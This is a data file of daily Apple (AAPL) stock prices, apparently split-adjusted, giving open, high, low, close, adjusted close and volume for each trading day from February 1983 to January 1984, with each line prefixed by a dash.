-1983-02-09,0.7477678656578064,0.7589285969734192,0.7276785969734192,0.7544642686843872,0.5992107391357422,45203200.0,AAPL
-1983-02-10,0.7544642686843872,0.8080357313156128,0.7544642686843872,0.8035714030265808,0.6382126212120056,59180800.0,AAPL
-1983-02-11,0.8102678656578064,0.84375,0.8102678656578064,0.8303571343421936,0.6594863533973694,50887200.0,AAPL
-1983-02-14,0.8303571343421936,0.8303571343421936,0.8058035969734192,0.8258928656578064,0.6559407114982605,31544800.0,AAPL
-1983-02-15,0.8258928656578064,0.8325892686843872,0.8013392686843872,0.8102678656578064,0.6435309648513794,28795200.0,AAPL
-1983-02-16,0.8102678656578064,0.8102678656578064,0.7901785969734192,0.7946428656578064,0.6311213970184326,29142400.0,AAPL
-1983-02-17,0.7946428656578064,0.7946428656578064,0.7611607313156128,0.7857142686843872,0.6240302324295044,34042400.0,AAPL
-1983-02-18,0.7857142686843872,0.8191964030265808,0.7767857313156128,0.8102678656578064,0.6435309648513794,28722400.0,AAPL
-1983-02-22,0.8147321343421936,0.8526785969734192,0.8147321343421936,0.8303571343421936,0.6594863533973694,49196000.0,AAPL
-1983-02-23,0.8303571343421936,0.8415178656578064,0.8236607313156128,0.8370535969734192,0.6648050546646118,27008800.0,AAPL
-1983-02-24,0.84375,0.8638392686843872,0.84375,0.859375,0.6825330853462219,28873600.0,AAPL
-1983-02-25,0.859375,0.8683035969734192,0.8303571343421936,0.8348214030265808,0.6630319356918335,28672000.0,AAPL
-1983-02-28,0.8348214030265808,0.8370535969734192,0.8125,0.8147321343421936,0.6470766663551331,33073600.0,AAPL
-1983-03-01,0.8147321343421936,0.8325892686843872,0.8125,0.828125,0.6577135324478149,35067200.0,AAPL
-1983-03-02,0.828125,0.8392857313156128,0.8258928656578064,0.8348214030265808,0.6630319356918335,26488000.0,AAPL
-1983-03-03,0.8348214030265808,0.84375,0.8058035969734192,0.8080357313156128,0.6417582631111145,32883200.0,AAPL
-1983-03-04,0.8080357313156128,0.8102678656578064,0.7723214030265808,0.796875,0.6328939199447632,37951200.0,AAPL
-1983-03-07,0.796875,0.7991071343421936,0.7589285969734192,0.78125,0.6204845309257507,38169600.0,AAPL
-1983-03-08,0.7767857313156128,0.7767857313156128,0.7455357313156128,0.7566964030265808,0.6009835600852966,55160000.0,AAPL
-1983-03-09,0.7566964030265808,0.7790178656578064,0.7433035969734192,0.7790178656578064,0.6187117695808411,49834400.0,AAPL
-1983-03-10,0.7790178656578064,0.7879464030265808,0.7611607313156128,0.7678571343421936,0.6098476648330688,28151200.0,AAPL
-1983-03-11,0.7678571343421936,0.78125,0.7388392686843872,0.7566964030265808,0.6009835600852966,21940800.0,AAPL
-1983-03-14,0.7544642686843872,0.7544642686843872,0.7209821343421936,0.7388392686843872,0.5868011116981506,42968800.0,AAPL
-1983-03-15,0.7388392686843872,0.75,0.7165178656578064,0.75,0.5956653356552124,18765600.0,AAPL
-1983-03-16,0.75,0.7767857313156128,0.7455357313156128,0.75,0.5956653356552124,27742400.0,AAPL
-1983-03-17,0.75,0.7566964030265808,0.7477678656578064,0.7566964030265808,0.6009835600852966,11037600.0,AAPL
-1983-03-18,0.7566964030265808,0.7767857313156128,0.7544642686843872,0.7678571343421936,0.6098476648330688,21532000.0,AAPL
-1983-03-21,0.7678571343421936,0.7879464030265808,0.7633928656578064,0.7857142686843872,0.6240302324295044,26006400.0,AAPL
-1983-03-22,0.7857142686843872,0.8058035969734192,0.7857142686843872,0.7946428656578064,0.6311213970184326,25250400.0,AAPL
-1983-03-23,0.7946428656578064,0.796875,0.7544642686843872,0.7566964030265808,0.6009835600852966,35190400.0,AAPL
-1983-03-24,0.7566964030265808,0.7790178656578064,0.7544642686843872,0.7700892686843872,0.6116203665733337,25614400.0,AAPL
-1983-03-25,0.7700892686843872,0.7834821343421936,0.7678571343421936,0.7700892686843872,0.6116203665733337,14515200.0,AAPL
-1983-03-28,0.7678571343421936,0.7678571343421936,0.7455357313156128,0.7589285969734192,0.6027565002441406,18642400.0,AAPL
-1983-03-29,0.7611607313156128,0.7879464030265808,0.7611607313156128,0.78125,0.6204845309257507,25933600.0,AAPL
-1983-03-30,0.78125,0.7924107313156128,0.78125,0.7901785969734192,0.6275757551193237,21952000.0,AAPL
-1983-03-31,0.7901785969734192,0.7946428656578064,0.7544642686843872,0.7544642686843872,0.5992107391357422,21285600.0,AAPL
-1983-04-04,0.7544642686843872,0.7544642686843872,0.7165178656578064,0.734375,0.5832552909851074,31847200.0,AAPL
-1983-04-05,0.734375,0.75,0.7209821343421936,0.7209821343421936,0.5726184844970703,30525600.0,AAPL
-1983-04-06,0.7209821343421936,0.7232142686843872,0.7053571343421936,0.7142857313156128,0.5673001408576965,53496800.0,AAPL
-1983-04-07,0.7142857313156128,0.71875,0.703125,0.7075892686843872,0.5619816184043884,36377600.0,AAPL
-1983-04-08,0.7075892686843872,0.7120535969734192,0.6897321343421936,0.703125,0.5584360361099243,37564800.0,AAPL
-1983-04-11,0.703125,0.7477678656578064,0.6919642686843872,0.7433035969734192,0.5903465151786804,57618400.0,AAPL
-1983-04-12,0.7433035969734192,0.7611607313156128,0.7433035969734192,0.7589285969734192,0.6027565002441406,43512000.0,AAPL
-1983-04-13,0.7589285969734192,0.7879464030265808,0.7589285969734192,0.7857142686843872,0.6240302324295044,47443200.0,AAPL
-1983-04-14,0.7857142686843872,0.8058035969734192,0.7790178656578064,0.8035714030265808,0.6382126212120056,34092800.0,AAPL
-1983-04-15,0.8035714030265808,0.8236607313156128,0.8035714030265808,0.8169642686843872,0.6488494277000427,28750400.0,AAPL
-1983-04-18,0.8214285969734192,0.8549107313156128,0.8214285969734192,0.8392857313156128,0.6665775179862976,38892000.0,AAPL
-1983-04-19,0.8392857313156128,0.8459821343421936,0.8258928656578064,0.8303571343421936,0.6594863533973694,58469600.0,AAPL
-1983-04-20,0.8303571343421936,0.9107142686843872,0.8303571343421936,0.9040178656578064,0.7179893255233765,72083200.0,AAPL
-1983-04-21,0.9151785969734192,0.9419642686843872,0.9151785969734192,0.9285714030265808,0.7374901175498962,57512000.0,AAPL
-1983-04-22,0.9285714030265808,0.9375,0.90625,0.9107142686843872,0.723307728767395,31796800.0,AAPL
-1983-04-25,0.9107142686843872,0.9174107313156128,0.8638392686843872,0.8683035969734192,0.6896243095397949,31427200.0,AAPL
-1983-04-26,0.8683035969734192,0.9040178656578064,0.8660714030265808,0.8928571343421936,0.7091249823570251,24858400.0,AAPL
-1983-04-27,0.8928571343421936,0.9129464030265808,0.875,0.8839285969734192,0.7020338773727417,21509600.0,AAPL
-1983-04-28,0.8839285969734192,0.8973214030265808,0.8727678656578064,0.8928571343421936,0.7091249823570251,19852000.0,AAPL
-1983-04-29,0.8928571343421936,0.90625,0.8816964030265808,0.9017857313156128,0.7162164449691772,77078400.0,AAPL
-1983-05-02,0.9017857313156128,0.90625,0.8638392686843872,0.875,0.6949427127838135,24270400.0,AAPL
-1983-05-03,0.875,0.8772321343421936,0.8504464030265808,0.8660714030265808,0.6878513097763062,26499200.0,AAPL
-1983-05-04,0.8660714030265808,0.9196428656578064,0.8660714030265808,0.9196428656578064,0.7303988933563232,32278400.0,AAPL
-1983-05-05,0.9196428656578064,0.9821428656578064,0.9196428656578064,0.9799107313156128,0.7782648205757141,35123200.0,AAPL
-1983-05-06,0.9799107313156128,0.9955357313156128,0.9598214030265808,0.984375,0.7818105220794678,25037600.0,AAPL
-1983-05-09,0.984375,0.9866071343421936,0.9620535969734192,0.9709821343421936,0.7711737155914307,17292800.0,AAPL
-1983-05-10,0.9709821343421936,0.9888392686843872,0.9665178656578064,0.9776785969734192,0.7764920592308044,12975200.0,AAPL
-1983-05-11,0.9776785969734192,0.9821428656578064,0.9464285969734192,0.953125,0.7569910883903503,13815200.0,AAPL
-1983-05-12,0.953125,0.953125,0.9352678656578064,0.9441964030265808,0.7498998045921326,24606400.0,AAPL
-1983-05-13,0.9441964030265808,0.9575892686843872,0.9441964030265808,0.9486607313156128,0.753445565700531,12241600.0,AAPL
-1983-05-16,0.9486607313156128,0.9486607313156128,0.9196428656578064,0.9241071343421936,0.7339444160461426,17298400.0,AAPL
-1983-05-17,0.9241071343421936,0.9285714030265808,0.9129464030265808,0.9263392686843872,0.7357171773910522,38589600.0,AAPL
-1983-05-18,0.9263392686843872,0.9464285969734192,0.9263392686843872,0.9375,0.7445815205574036,39250400.0,AAPL
-1983-05-19,0.9375,0.96875,0.9375,0.9665178656578064,0.7676281929016113,17572800.0,AAPL
-1983-05-20,0.9665178656578064,1.0178571939468384,0.953125,1.015625,0.8066299557685852,36523200.0,AAPL
-1983-05-23,1.015625,1.0267857313156128,0.9955357313156128,1.0267857313156128,0.8154940605163574,30436000.0,AAPL
-1983-05-24,1.0267857313156128,1.0803571939468384,1.0267857313156128,1.0803571939468384,0.8580412864685059,26924800.0,AAPL
-1983-05-25,1.0803571939468384,1.0892857313156128,1.0558035373687744,1.0714285373687744,0.8509501814842224,38432800.0,AAPL
-1983-05-26,1.0714285373687744,1.078125,1.0513392686843872,1.0602678060531616,0.8420860171318054,26392800.0,AAPL
-1983-05-27,1.0602678060531616,1.0714285373687744,1.0558035373687744,1.0602678060531616,0.8420860171318054,14156800.0,AAPL
-1983-05-31,1.0580357313156128,1.0580357313156128,1.0111607313156128,1.03125,0.8190395832061768,11384800.0,AAPL
-1983-06-01,1.03125,1.0401785373687744,1.0223214626312256,1.0379464626312256,0.8243579864501953,24522400.0,AAPL
-1983-06-02,1.0379464626312256,1.0446428060531616,1.03125,1.0446428060531616,0.8296765089035034,19857600.0,AAPL
-1983-06-03,1.0446428060531616,1.1004464626312256,1.0446428060531616,1.0959821939468384,0.8704509139060974,16133600.0,AAPL
-1983-06-06,1.0959821939468384,1.1205357313156128,1.0959821939468384,1.1205357313156128,0.8899520039558411,26023200.0,AAPL
-1983-06-07,1.1205357313156128,1.1294642686843872,1.0825892686843872,1.0825892686843872,0.8598143458366394,24544800.0,AAPL
-1983-06-08,1.0825892686843872,1.0870535373687744,1.0602678060531616,1.0691964626312256,0.8491770029067993,21011200.0,AAPL
-1983-06-09,1.0691964626312256,1.0803571939468384,1.0424107313156128,1.0625,0.8438588976860046,13697600.0,AAPL
-1983-06-10,1.0625,1.0691964626312256,1.0558035373687744,1.0580357313156128,0.8403132557868958,9357600.0,AAPL
-1983-06-13,1.0580357313156128,1.0602678060531616,0.9821428656578064,1.0223214626312256,0.8119484782218933,44816800.0,AAPL
-1983-06-14,1.0223214626312256,1.03125,0.9955357313156128,1.0,0.7942202091217041,42632800.0,AAPL
-1983-06-15,0.9977678656578064,0.9977678656578064,0.9508928656578064,0.9709821343421936,0.7711737155914307,48339200.0,AAPL
-1983-06-16,0.9754464030265808,1.0223214626312256,0.9754464030265808,1.0223214626312256,0.8119484782218933,30721600.0,AAPL
-1983-06-17,1.0223214626312256,1.0267857313156128,1.0022321939468384,1.0022321939468384,0.795992910861969,14011200.0,AAPL
-1983-06-20,1.0022321939468384,1.0089285373687744,0.9441964030265808,0.953125,0.7569910883903503,34893600.0,AAPL
-1983-06-21,0.953125,0.9642857313156128,0.9352678656578064,0.9598214030265808,0.7623096108436584,31365600.0,AAPL
-1983-06-22,0.9620535969734192,0.9933035969734192,0.9620535969734192,0.9888392686843872,0.7853561043739319,35240800.0,AAPL
-1983-06-23,0.984375,0.984375,0.9553571343421936,0.9575892686843872,0.7605366706848145,33499200.0,AAPL
-1983-06-24,0.9575892686843872,0.9709821343421936,0.9486607313156128,0.9508928656578064,0.7552183270454407,11911200.0,AAPL
-1983-06-27,0.9508928656578064,0.9508928656578064,0.8995535969734192,0.8995535969734192,0.7144435048103333,30760800.0,AAPL
-1983-06-28,0.8995535969734192,0.9040178656578064,0.8303571343421936,0.8370535969734192,0.6648050546646118,87292800.0,AAPL
-1983-06-29,0.8370535969734192,0.8861607313156128,0.8169642686843872,0.8772321343421936,0.6967156529426575,73595200.0,AAPL
-1983-06-30,0.8772321343421936,0.8928571343421936,0.8683035969734192,0.8727678656578064,0.6931699514389038,27641600.0,AAPL
-1983-07-01,0.8727678656578064,0.8883928656578064,0.8683035969734192,0.8794642686843872,0.6984879970550537,43064000.0,AAPL
-1983-07-05,0.8794642686843872,0.8816964030265808,0.8415178656578064,0.84375,0.6701232194900513,20512800.0,AAPL
-1983-07-06,0.84375,0.8482142686843872,0.828125,0.8459821343421936,0.6718960404396057,23979200.0,AAPL
-1983-07-07,0.8459821343421936,0.8482142686843872,0.8303571343421936,0.8348214030265808,0.6630319356918335,22360800.0,AAPL
-1983-07-08,0.8348214030265808,0.8348214030265808,0.8214285969734192,0.8258928656578064,0.6559407114982605,17544800.0,AAPL
-1983-07-11,0.8258928656578064,0.8616071343421936,0.8258928656578064,0.8482142686843872,0.6736689209938049,28229600.0,AAPL
-1983-07-12,0.8482142686843872,0.8571428656578064,0.8236607313156128,0.828125,0.6577135324478149,18799200.0,AAPL
-1983-07-13,0.828125,0.8303571343421936,0.8102678656578064,0.8236607313156128,0.6541679501533508,32250400.0,AAPL
-1983-07-14,0.8236607313156128,0.8370535969734192,0.8169642686843872,0.8214285969734192,0.6523951888084412,18726400.0,AAPL
-1983-07-15,0.8214285969734192,0.8214285969734192,0.7879464030265808,0.7924107313156128,0.6293485760688782,16990400.0,AAPL
-1983-07-18,0.7924107313156128,0.7946428656578064,0.7723214030265808,0.7901785969734192,0.6275757551193237,20406400.0,AAPL
-1983-07-19,0.7901785969734192,0.828125,0.7745535969734192,0.78125,0.6204845309257507,42784000.0,AAPL
-1983-07-20,0.78125,0.7879464030265808,0.7276785969734192,0.7366071343421936,0.5850280523300171,76221600.0,AAPL
-1983-07-21,0.7366071343421936,0.7924107313156128,0.7321428656578064,0.7745535969734192,0.6151660680770874,79346400.0,AAPL
-1983-07-22,0.7745535969734192,0.7834821343421936,0.7723214030265808,0.78125,0.6204845309257507,29108800.0,AAPL
-1983-07-25,0.78125,0.78125,0.7589285969734192,0.7700892686843872,0.6116203665733337,19107200.0,AAPL
-1983-07-26,0.7700892686843872,0.7745535969734192,0.6696428656578064,0.6986607313156128,0.5548903942108154,67244800.0,AAPL
-1983-07-27,0.6986607313156128,0.7209821343421936,0.6383928656578064,0.6473214030265808,0.5141157507896423,75079200.0,AAPL
-1983-07-28,0.6473214030265808,0.65625,0.6071428656578064,0.6071428656578064,0.48220518231391907,67620000.0,AAPL
-1983-07-29,0.6071428656578064,0.6294642686843872,0.6049107313156128,0.6227678656578064,0.494614839553833,55081600.0,AAPL
-1983-08-01,0.6227678656578064,0.6495535969734192,0.6116071343421936,0.6160714030265808,0.4892963469028473,58111200.0,AAPL
-1983-08-02,0.6160714030265808,0.625,0.6116071343421936,0.6138392686843872,0.48752349615097046,25412800.0,AAPL
-1983-08-03,0.6138392686843872,0.6361607313156128,0.6049107313156128,0.6227678656578064,0.494614839553833,30956800.0,AAPL
-1983-08-04,0.6227678656578064,0.6294642686843872,0.5669642686843872,0.59375,0.4715679883956909,73029600.0,AAPL
-1983-08-05,0.59375,0.6160714030265808,0.5892857313156128,0.6049107313156128,0.48043233156204224,32855200.0,AAPL
-1983-08-08,0.6049107313156128,0.6205357313156128,0.5915178656578064,0.6071428656578064,0.48220518231391907,19202400.0,AAPL
-1983-08-09,0.6071428656578064,0.6227678656578064,0.6026785969734192,0.6138392686843872,0.48752349615097046,37592800.0,AAPL
-1983-08-10,0.6138392686843872,0.6183035969734192,0.5982142686843872,0.6116071343421936,0.4857509136199951,40493600.0,AAPL
-1983-08-11,0.6116071343421936,0.6205357313156128,0.59375,0.6026785969734192,0.47865942120552063,22545600.0,AAPL
-1983-08-12,0.6026785969734192,0.6160714030265808,0.5915178656578064,0.5982142686843872,0.47511371970176697,18659200.0,AAPL
-1983-08-15,0.5982142686843872,0.6138392686843872,0.5959821343421936,0.6138392686843872,0.48752349615097046,38068800.0,AAPL
-1983-08-16,0.6138392686843872,0.6205357313156128,0.5982142686843872,0.6049107313156128,0.48043233156204224,22842400.0,AAPL
-1983-08-17,0.6049107313156128,0.6116071343421936,0.5848214030265808,0.5915178656578064,0.469795286655426,23609600.0,AAPL
-1983-08-18,0.5915178656578064,0.6049107313156128,0.5892857313156128,0.5982142686843872,0.47511371970176697,20434400.0,AAPL
-1983-08-19,0.5982142686843872,0.6071428656578064,0.59375,0.6026785969734192,0.47865942120552063,14649600.0,AAPL
-1983-08-22,0.6026785969734192,0.609375,0.59375,0.6004464030265808,0.4768866300582886,21341600.0,AAPL
-1983-08-23,0.6004464030265808,0.6004464030265808,0.5647321343421936,0.5691964030265808,0.4520672559738159,23396800.0,AAPL
-1983-08-24,0.5669642686843872,0.5669642686843872,0.5379464030265808,0.5401785969734192,0.42902064323425293,28324800.0,AAPL
-1983-08-25,0.5401785969734192,0.5491071343421936,0.5357142686843872,0.5446428656578064,0.4325663149356842,47443200.0,AAPL
-1983-08-26,0.5446428656578064,0.5535714030265808,0.5401785969734192,0.5513392686843872,0.43788468837738037,23296000.0,AAPL
-1983-08-29,0.5513392686843872,0.5647321343421936,0.5357142686843872,0.5580357313156128,0.4432031214237213,34574400.0,AAPL
-1983-08-30,0.5580357313156128,0.5982142686843872,0.5580357313156128,0.5870535969734192,0.46624982357025146,58486400.0,AAPL
-1983-08-31,0.5915178656578064,0.6651785969734192,0.5915178656578064,0.6651785969734192,0.5282983779907227,50058400.0,AAPL
-1983-09-01,0.6651785969734192,0.6875,0.6339285969734192,0.6495535969734192,0.5158885717391968,54532800.0,AAPL
-1983-09-02,0.6495535969734192,0.6785714030265808,0.6473214030265808,0.6785714030265808,0.5389349460601807,32334400.0,AAPL
-1983-09-06,0.6919642686843872,0.7098214030265808,0.6919642686843872,0.703125,0.5584360361099243,45421600.0,AAPL
-1983-09-07,0.7008928656578064,0.7008928656578064,0.6049107313156128,0.6183035969734192,0.49106916785240173,96213600.0,AAPL
-1983-09-08,0.6183035969734192,0.625,0.5580357313156128,0.5669642686843872,0.4502944052219391,76764800.0,AAPL
-1983-09-09,0.5669642686843872,0.5691964030265808,0.5446428656578064,0.546875,0.43433907628059387,53172000.0,AAPL
-1983-09-12,0.546875,0.5803571343421936,0.5401785969734192,0.546875,0.43433907628059387,66578400.0,AAPL
-1983-09-13,0.546875,0.5803571343421936,0.5424107313156128,0.5714285969734192,0.453840047121048,51044000.0,AAPL
-1983-09-14,0.5714285969734192,0.5848214030265808,0.5535714030265808,0.5647321343421936,0.4485216736793518,45382400.0,AAPL
-1983-09-15,0.5647321343421936,0.5669642686843872,0.53125,0.5379464030265808,0.4272479712963104,39709600.0,AAPL
-1983-09-16,0.5379464030265808,0.5379464030265808,0.5200892686843872,0.5245535969734192,0.4166109561920166,56436800.0,AAPL
-1983-09-19,0.5245535969734192,0.5758928656578064,0.5223214030265808,0.5714285969734192,0.453840047121048,50495200.0,AAPL
-1983-09-20,0.5714285969734192,0.5982142686843872,0.5714285969734192,0.5736607313156128,0.45561301708221436,56604800.0,AAPL
-1983-09-21,0.5736607313156128,0.5825892686843872,0.5602678656578064,0.5625,0.4467487037181854,26588800.0,AAPL
-1983-09-22,0.5625,0.5825892686843872,0.5558035969734192,0.5803571343421936,0.4609312117099762,36030400.0,AAPL
-1983-09-23,0.4464285671710968,0.4464285671710968,0.3973214328289032,0.4330357015132904,0.3439256548881531,708086400.0,AAPL
-1983-09-26,0.4352678656578064,0.4620535671710968,0.4352678656578064,0.4441964328289032,0.3527897894382477,192192000.0,AAPL
-1983-09-27,0.4441964328289032,0.4464285671710968,0.4107142984867096,0.4196428656578064,0.3332887589931488,104277600.0,AAPL
-1983-09-28,0.4196428656578064,0.4196428656578064,0.3950892984867096,0.4084821343421936,0.32442471385002136,93374400.0,AAPL
-1983-09-29,0.4084821343421936,0.4241071343421936,0.4040178656578064,0.40625,0.3226518929004669,70694400.0,AAPL
-1983-09-30,0.40625,0.421875,0.4017857015132904,0.4129464328289032,0.32797035574913025,29467200.0,AAPL
-1983-10-03,0.4129464328289032,0.4196428656578064,0.4040178656578064,0.4129464328289032,0.32797035574913025,38225600.0,AAPL
-1983-10-04,0.4129464328289032,0.421875,0.40625,0.4084821343421936,0.32442471385002136,42403200.0,AAPL
-1983-10-05,0.4084821343421936,0.4151785671710968,0.3950892984867096,0.4017857015132904,0.3191063106060028,47667200.0,AAPL
-1983-10-06,0.4017857015132904,0.4084821343421936,0.3883928656578064,0.3973214328289032,0.3155606985092163,58234400.0,AAPL
-1983-10-07,0.3973214328289032,0.4241071343421936,0.359375,0.3638392984867096,0.2889685332775116,61583200.0,AAPL
-1983-10-10,0.359375,0.359375,0.328125,0.3526785671710968,0.2801044285297394,129281600.0,AAPL
-1983-10-11,0.3526785671710968,0.3549107015132904,0.3415178656578064,0.3459821343421936,0.27478593587875366,63190400.0,AAPL
-1983-10-12,0.3459821343421936,0.3794642984867096,0.34375,0.3772321343421936,0.2996053695678711,118154400.0,AAPL
-1983-10-13,0.3883928656578064,0.4285714328289032,0.3883928656578064,0.4107142984867096,0.3261975944042206,105128800.0,AAPL
-1983-10-14,0.4107142984867096,0.4241071343421936,0.4017857015132904,0.40625,0.3226518929004669,69815200.0,AAPL
-1983-10-17,0.40625,0.40625,0.3727678656578064,0.375,0.2978326678276062,54779200.0,AAPL
-1983-10-18,0.3705357015132904,0.3705357015132904,0.3370535671710968,0.3459821343421936,0.27478593587875366,95743200.0,AAPL
-1983-10-19,0.3459821343421936,0.3973214328289032,0.3415178656578064,0.3839285671710968,0.3049238324165344,71848000.0,AAPL
-1983-10-20,0.3839285671710968,0.3950892984867096,0.3549107015132904,0.3638392984867096,0.2889685332775116,32922400.0,AAPL
-1983-10-21,0.3638392984867096,0.3727678656578064,0.3504464328289032,0.3549107015132904,0.2818772792816162,39250400.0,AAPL
-1983-10-24,0.3549107015132904,0.3772321343421936,0.3191964328289032,0.3772321343421936,0.2996053695678711,64848000.0,AAPL
-1983-10-25,0.3772321343421936,0.390625,0.375,0.3794642984867096,0.3013782501220703,42112000.0,AAPL
-1983-10-26,0.3794642984867096,0.3839285671710968,0.3571428656578064,0.359375,0.28542283177375793,32228000.0,AAPL
-1983-10-27,0.359375,0.3861607015132904,0.359375,0.3772321343421936,0.2996053695678711,24460800.0,AAPL
-1983-10-28,0.3772321343421936,0.3816964328289032,0.3638392984867096,0.3727678656578064,0.2960597574710846,20300000.0,AAPL
-1983-10-31,0.3772321343421936,0.4107142984867096,0.3772321343421936,0.4040178656578064,0.32087913155555725,43293600.0,AAPL
-1983-11-01,0.4040178656578064,0.4285714328289032,0.3861607015132904,0.4107142984867096,0.3261975944042206,82096000.0,AAPL
-1983-11-02,0.4107142984867096,0.4308035671710968,0.4107142984867096,0.4196428656578064,0.3332887589931488,50618400.0,AAPL
-1983-11-03,0.4196428656578064,0.421875,0.375,0.390625,0.31024226546287537,71500800.0,AAPL
-1983-11-04,0.390625,0.3928571343421936,0.375,0.3772321343421936,0.2996053695678711,36685600.0,AAPL
-1983-11-07,0.3772321343421936,0.3861607015132904,0.3705357015132904,0.375,0.2978326678276062,38029600.0,AAPL
-1983-11-08,0.3482142984867096,0.3482142984867096,0.3080357015132904,0.3191964328289032,0.25351229310035706,305379200.0,AAPL
-1983-11-09,0.3191964328289032,0.34375,0.3125,0.34375,0.2730131149291992,88368000.0,AAPL
-1983-11-10,0.34375,0.359375,0.34375,0.3504464328289032,0.2783316671848297,55518400.0,AAPL
-1983-11-11,0.3504464328289032,0.3638392984867096,0.3482142984867096,0.3571428656578064,0.28365007042884827,29008000.0,AAPL
-1983-11-14,0.3571428656578064,0.3616071343421936,0.3504464328289032,0.3526785671710968,0.2801044285297394,27070400.0,AAPL
-1983-11-15,0.3526785671710968,0.3549107015132904,0.3392857015132904,0.3526785671710968,0.2801044285297394,29657600.0,AAPL
-1983-11-16,0.3526785671710968,0.3660714328289032,0.3504464328289032,0.3571428656578064,0.28365007042884827,25569600.0,AAPL
-1983-11-17,0.3571428656578064,0.3705357015132904,0.3571428656578064,0.3660714328289032,0.2907413840293884,22596000.0,AAPL
-1983-11-18,0.3660714328289032,0.3727678656578064,0.3616071343421936,0.3683035671710968,0.29251402616500854,19975200.0,AAPL
-1983-11-21,0.3683035671710968,0.3861607015132904,0.3683035671710968,0.3839285671710968,0.3049238324165344,26252800.0,AAPL
-1983-11-22,0.3839285671710968,0.3883928656578064,0.3794642984867096,0.3839285671710968,0.3049238324165344,26297600.0,AAPL
-1983-11-23,0.3839285671710968,0.3839285671710968,0.3571428656578064,0.3638392984867096,0.2889685332775116,28588000.0,AAPL
-1983-11-25,0.3638392984867096,0.3683035671710968,0.3638392984867096,0.3660714328289032,0.2907413840293884,9324000.0,AAPL
-1983-11-28,0.3660714328289032,0.3772321343421936,0.3638392984867096,0.375,0.2978326678276062,18099200.0,AAPL
-1983-11-29,0.375,0.3839285671710968,0.3660714328289032,0.3705357015132904,0.29428690671920776,23822400.0,AAPL
-1983-11-30,0.3705357015132904,0.375,0.3638392984867096,0.3638392984867096,0.2889685332775116,16083200.0,AAPL
-1983-12-01,0.3638392984867096,0.3727678656578064,0.3571428656578064,0.3616071343421936,0.2871958017349243,19168800.0,AAPL
-1983-12-02,0.3616071343421936,0.3616071343421936,0.3526785671710968,0.3549107015132904,0.2818772792816162,21341600.0,AAPL
-1983-12-05,0.3549107015132904,0.3660714328289032,0.3526785671710968,0.3638392984867096,0.2889685332775116,11289600.0,AAPL
-1983-12-06,0.3638392984867096,0.3683035671710968,0.3616071343421936,0.3660714328289032,0.2907413840293884,12997600.0,AAPL
-1983-12-07,0.3660714328289032,0.3839285671710968,0.3616071343421936,0.375,0.2978326678276062,22288000.0,AAPL
-1983-12-08,0.375,0.3950892984867096,0.375,0.3839285671710968,0.3049238324165344,34406400.0,AAPL
-1983-12-09,0.3839285671710968,0.3950892984867096,0.3794642984867096,0.3861607015132904,0.3066966235637665,20692000.0,AAPL
-1983-12-12,0.3861607015132904,0.3883928656578064,0.375,0.3839285671710968,0.3049238324165344,16284800.0,AAPL
-1983-12-13,0.3839285671710968,0.40625,0.3816964328289032,0.4017857015132904,0.3191063106060028,49386400.0,AAPL
-1983-12-14,0.4017857015132904,0.421875,0.3861607015132904,0.4174107015132904,0.33151596784591675,50472800.0,AAPL
-1983-12-15,0.4174107015132904,0.4419642984867096,0.4174107015132904,0.4352678656578064,0.3456985056400299,79150400.0,AAPL
-1983-12-16,0.4352678656578064,0.4464285671710968,0.4330357015132904,0.4419642984867096,0.35101693868637085,46216800.0,AAPL
-1983-12-19,0.4419642984867096,0.4464285671710968,0.4263392984867096,0.4285714328289032,0.3403799831867218,43400000.0,AAPL
-1983-12-20,0.4285714328289032,0.4285714328289032,0.4107142984867096,0.4174107015132904,0.33151596784591675,44436000.0,AAPL
-1983-12-21,0.4174107015132904,0.4330357015132904,0.4151785671710968,0.4330357015132904,0.3439256548881531,42946400.0,AAPL
-1983-12-22,0.4330357015132904,0.4419642984867096,0.4308035671710968,0.4419642984867096,0.35101693868637085,32636800.0,AAPL
-1983-12-23,0.4419642984867096,0.4441964328289032,0.4330357015132904,0.4397321343421936,0.34924399852752686,12140800.0,AAPL
-1983-12-27,0.4397321343421936,0.4464285671710968,0.4397321343421936,0.4419642984867096,0.35101693868637085,24108000.0,AAPL
-1983-12-28,0.4419642984867096,0.4508928656578064,0.4375,0.4464285671710968,0.3545624911785126,32138400.0,AAPL
-1983-12-29,0.4464285671710968,0.4508928656578064,0.4352678656578064,0.4352678656578064,0.3456985056400299,25687200.0,AAPL
-1983-12-30,0.4352678656578064,0.4464285671710968,0.4330357015132904,0.4352678656578064,0.3456985056400299,22965600.0,AAPL
-1984-01-03,0.4352678656578064,0.4665178656578064,0.4352678656578064,0.4575892984867096,0.3634265065193176,37548000.0,AAPL
-1984-01-04,0.4598214328289032,0.5,0.4598214328289032,0.4977678656578064,0.39533722400665283,73152800.0,AAPL
-1984-01-05,0.4977678656578064,0.5178571343421936,0.4933035671710968,0.5044642686843872,0.40065574645996094,76428800.0,AAPL
-1984-01-06,0.5044642686843872,0.5111607313156128,0.4866071343421936,0.4955357015132904,0.3935643434524536,42123200.0,AAPL
-1984-01-09,0.4955357015132904,0.4955357015132904,0.453125,0.46875,0.3722907602787018,53933600.0,AAPL
-1984-01-10,0.46875,0.4933035671710968,0.46875,0.4933035671710968,0.39179161190986633,43047200.0,AAPL
-1984-01-11,0.4933035671710968,0.5089285969734192,0.4910714328289032,0.5,0.39711010456085205,43988000.0,AAPL
-1984-01-12,0.5,0.5066964030265808,0.4933035671710968,0.4977678656578064,0.39533722400665283,27585600.0,AAPL
-1984-01-13,0.4977678656578064,0.5044642686843872,0.4776785671710968,0.4866071343421936,0.3864732086658478,30436000.0,AAPL
-1984-01-16,0.4866071343421936,0.5044642686843872,0.484375,0.4977678656578064,0.39533722400665283,34395200.0,AAPL
-1984-01-17,0.4977678656578064,0.5133928656578064,0.4977678656578064,0.5111607313156128,0.40597423911094666,37268000.0,AAPL
-1984-01-18,0.5111607313156128,0.5223214030265808,0.5022321343421936,0.5133928656578064,0.4077470302581787,55126400.0,AAPL
-1984-01-19,0.5133928656578064,0.5267857313156128,0.5089285969734192,0.5178571343421936,0.4112926721572876,37430400.0,AAPL
-1984-01-20,0.5178571343421936,0.5200892686843872,0.5044642686843872,0.5111607313156128,0.40597423911094666,35336000.0,AAPL
-1984-01-23,0.5111607313156128,0.5200892686843872,0.5066964030265808,0.515625,0.4095197916030884,69591200.0,AAPL
-1984-01-24,0.515625,0.5178571343421936,0.4732142984867096,0.4866071343421936,0.3864732086658478,80057600.0,AAPL
-1984-01-25,0.4866071343421936,0.515625,0.4799107015132904,0.4821428656578064,0.38292765617370605,65968000.0,AAPL
